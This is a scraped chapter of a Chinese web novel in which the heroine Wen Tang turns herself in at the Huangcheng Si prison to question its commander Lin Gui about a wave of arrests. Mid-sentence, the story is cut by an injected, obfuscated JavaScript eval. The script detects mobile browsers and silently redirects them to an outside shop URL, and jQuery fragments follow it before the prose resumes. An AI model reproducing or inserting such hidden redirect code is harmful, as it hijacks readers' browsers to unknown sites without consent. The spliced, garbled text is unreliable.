文趣网 > 其他小说 > 渡归途 > 19. 皇城司
    上京城一般要过了正月十五开市,余烟阁从初五开始便安排住在上京城的人轮流回来,三倍的日薪,窈娘自己也日日都来。

    至于温棠嘛,那当然是从初五起便主动要求日日回来。

    她给窈娘的理由是,谁会跟银子过不去。

    当时这话让站在一旁的银子目瞪口呆。

    初五这日窈娘一早来了余烟阁,将铺中都收拾妥当,将柜面上都铺上红色的彩缎,等几人都到了,众人一起在铺面门口放了炮竹。

    最后窈娘给他们分下准备好的红包,大家都乐呵呵的接下。等到几人都各自去做各自的事情,窈娘又走向温棠。

    “我就不给你多封红包了,这些是千层雪准备上元节后推出的时令糕点,你尝尝看看好不好吃。”

    温棠笑眯眯的,“这算是东家加的小灶吗?”

    “快尝尝吧,本来也没几块。”窈娘双手撑在案桌上,靠近温棠,“你前几天回家了吗?”

    虽说窈娘确实没有主动问过温棠的情况,也知道她肯定有自己瞒着的事情,可谁身上没有秘密呢,她并不在意。可是毕竟是过年,窈娘还是有好奇心的。

    温棠咬下一口兔子样式的白玉糕,思索了下,“回去了的。”

    窈娘瞪大了眼,有些意外,“你最近不是一直在上京吗,我以为你不是上京人。”

    温棠没有回答,窈娘也就没再追问。

    “这两三天不会太忙,等再过几日,就是余烟阁一年中最忙的日子了,达官贵胄不会少。”

    窈娘显然意有所指。

    初五这日几乎没有人来余烟阁,窈娘索性早早让大家下了工。温棠和窈娘一起往西街的方向走着,忽然发现一家水果摊上,一正蹲着挑选的男子,毫无征兆的被附近穿着便服和黑靴的几人抓走。

    这人大骂着挣扎,却见抓着他的人亮出了令牌,再也不敢说话。

    “是皇城司的人。”窈娘小声告诉她。

    温棠立刻侧头看向她,瞳孔略微放大。虽然她一直都知道皇城司的事迹,但这还是她第一次目睹。

    窈娘边走边和她解释,“最近朝廷调了兵去北境,正是民心不稳的时候。这些日子对那位林指挥使的怨言声比以前更多了,皇城司这才出来,可我看刚刚那个人好端端的,竟也被带走了。还在年里呢,皇城司就四处抓人,年都过不好了。”

    温棠也不是觉得林归一定是好人,但她认知中的林归,也不会因为不好的传言就抓人,这些传言还少吗?

    “我想起还有些事情没做,你先走吧。”

    “什么事啊明天再做,大过年的你也不休息吗?”

    “不了,很急。”温棠撇下她,就朝着皇城司的方向小跑过去。

    其实不止刚刚那一人,这一路上,温棠已经看见了四人被抓走。有一人是正好在议论,其余则是被蹲点抓走的。

    皇城司在上京城的东北方向,与众人想象的地狱罗刹不一样,皇城司其实很气派,只是漆黑紧闭的大门,看着与整座府衙格格不入。

    她在门口停下脚步,走上门口的石阶。

    门口站着的黑衣人抽出刀拦下她,温棠索性站到了一边。没一会,又有两人被抓进皇城司。

    “我是来投案的。”

    剑钊见到被押入皇城司的温棠时,还有些没反应过来。

    “温姑娘?你是怎么...”是怎么被抓进来的。

    温棠语气跳脱,“反正你们也是要抓人的,我来主动凑个人头呗。”

    剑钊捏了捏鼻头,低下头有些憋不住笑。

    “走吧,我带你换个地方。”

    “别啊,这挺好的。”

    “啊?这有什么好的。”这要是让大人看见了,少说得二十杖,不,三十。

    剑钊耐心劝了她几句,实在是没办法,温棠比他想的还固执,只能希望大人早点过来。

    温棠坐在牢中,望着上面小小的窗户透过来的光亮,有些恍惚。

    剑钊觉得她是小姑娘性子犯了,其实不然,而且她也不觉得林归做错了。

    她只是在进来时,突然想到了刑部大牢,不知道刑部的和这里的牢房,是否一样。

    “皇城司狱的牢房也是不一样的,此处是明狱,也是量刑最轻的一处。”

    温棠面向窗户一侧坐在地上,听见声音,回过头看他。

    “依你看,我应该定个什么罪?”

    林归没动,“依我看,你是来找我兴师问罪的。”

    她本没这个意思,现下却觉得有些好笑。

    “是吗?我是什么人,居然能定林大人的罪。”

    林归也席地而坐,“找我什么事。”

    “外面在抓人。”

    “嗯。”

    “你让人抓的吗?”

    “...嗯。”

    问了句废话,林归轻轻皱了下眉,颇有些无语的看着她。

    “好厉害,我要是也有这个权力就好了。”她的双眸瞬间明亮,是真心称赞。

    “那你要先学会女扮男装,然后把我杀掉,贴上和我一样的面皮,之后你就可以行使我的权力了。”

    “为什么要杀了你,囚禁了不是一样可以吗?而且,哪有一样的面皮。”

    林归看着她,“有。”

    “啊?真的吗?”

    “想学的话,我以后教你。”

    温棠像是想起了什么,“等等,锁院时的誊录官,不会是你吧。”

    “是啊。”

    林归回答的毫不迟疑,让温棠的表情一下凝滞住,眼睛骤然瞪大。

    “那你是险些被左迁发现,所以当时只能假死脱身?”

    林归赞许地点了下头,“不错。”

    温棠一下来了精神,立

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17563299|204612||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    刻站起来,拍了拍身上的土,“那你什么时候教我?”

    “寻面皮不难,难的是模仿。你主动投案就是为了在狱中聊这些?”

    “我想知道你为什么要抓他们。”

    林归反问她,“你没看出来吗?”

    “外面传的是,说了一些关于你不大好听的话。”

    “是非常难听。”林归打断她。

    温棠稍微向后仰了仰身子,“你不会又是想说,你和我什么关系,为何要告诉我吧。”她煞有介事地点了点头,“理也确实是这个理。”

    “在皇城司狱中,还是第一次有人盘问我。如你所见,他们说了不该说的话。”

    说了不该说的话,自然要查要罚,若是有心的,更是合该要杀。

    林归看向她的双眼,“你是觉得我不会这么做?”

    “我是觉得这不是真正的原因。”

    “随你信与不信。总归与你要做的事,没有什么关系。”林归说完自己就愣了一下,眼神微不可察的一黯,也站起身,“得到答案了?可以走了吗?”

    温棠正要说些什么,林归看着她再次开口。

    “温棠,你回京城,是为了寻真相,还是要报仇?”

    她若只要真相,他现在就可以告诉她个大概,然后送她回到安县过自己的人生。

    真相于她而言并无意义,可她的父亲本为真相赴死。

    “我都要。”

    上元节前几天,余烟阁中的人越来越多,幸好温棠提前备下了香料。

    “陈夫人,您今日要看点什么呀?”

    窈娘不在阁中,但银子还记得窈娘交待她,若是陈天安的夫人来了,让温棠避着些。所以她大声喊着,想让温棠避开。

    “温娘子在吗?”

    银子赶紧说,“她今日...”

    “陈夫人,你找我吗?”

    温棠从后厅走过来,袖口挽起,头发也盘了起来,一看就是刚放下正在做的香料。

    陈夫人睨着眼睛,微微歪头,“你上次让我买的香料,可还有吗?”

    “有的,夫人还要吗?我去给你拿。”

    陈夫人有些不自然的清了清嗓子,依然扬着头,“除了这个,你再拿几样你觉得不错的香料给我。”

    余烟阁的香料在大梁一直卖得最好,但是一口气买走十几样的,在银子的记忆中,这是第一位。

    “温棠姐姐,我记得她上次来没有买香料呀。”

    “她后来又来过,说她还是不寐,我就把另外一个香料卖给了她,让她夜里试试。”

    “怪不得,那她这次又是什么意思?”

    这意味着,她在余烟阁做了半年,终于等到了最好的机会。温棠低下头,笑意漫过眼角,露出一口齐整白净的牙齿,眼角却溢出了些湿润。

    兴乐二年了,今年兴许会是个好年。